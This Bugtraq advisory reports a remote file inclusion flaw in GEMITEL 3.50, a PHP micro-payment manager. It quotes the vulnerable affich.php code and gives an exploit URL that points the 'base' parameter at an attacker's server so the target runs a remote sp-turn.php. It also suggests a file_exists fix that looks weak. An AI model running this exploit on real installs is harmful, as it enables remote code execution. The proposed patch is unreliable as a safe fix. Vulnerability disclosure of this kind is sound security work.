Bugtraq: Include vulnerability in GEMITEL v 3.50

["jaguar" <webmaster () wulab com>]

GEMITEL V 3 build 50  :: include vulnerability



URL : http://www.isesam.com/
FORUM : http://www.isesam.com/forums/gemitel/thread_open.shtml
Vendor has been contacted.





Description :
---------------

Gemitel is a free software written in php that allows to manage micro payments like allopass, mediapaiement, 
optelo-Sponsup or Rentabiliweb.




Vulnerability :
----------------


File :  html/affich.php

Code:
*****************************************************************************

$f_inc=$base."sp-turn.php";
$plus = "../";               // rajoute au chemin pour trouver les fichiers .txt
require("$f_inc");
//require("sp-turn.php");

*******************************************************************************

You can include sp-turn.php from where you want by specifying the variable $base.


Exploit :
----------

http://[vulnerable host]/[Gemitel folder]/html/affich.php?base=http://[your server]/

In [your server] you must have a sp-turn.php file which will be included by vulnerable host.



Solution:
-----------

Replace :

$f_inc=$base."sp-turn.php";
$plus = "../";               // rajoute au chemin pour trouver les fichiers .txt
require("$f_inc");
//require("sp-turn.php");

By

$f_inc=$base."sp-turn.php";
$plus = "../";               // rajoute au chemin pour trouver les fichiers .txt
if(file_exists($f_inc)){require("$f_inc");}
//require("sp-turn.php");





----------------------------------------------------------
jaguar[at]wulab.com
http://www.wulab.com  [hacking & Security]
-----------------------------------------------------------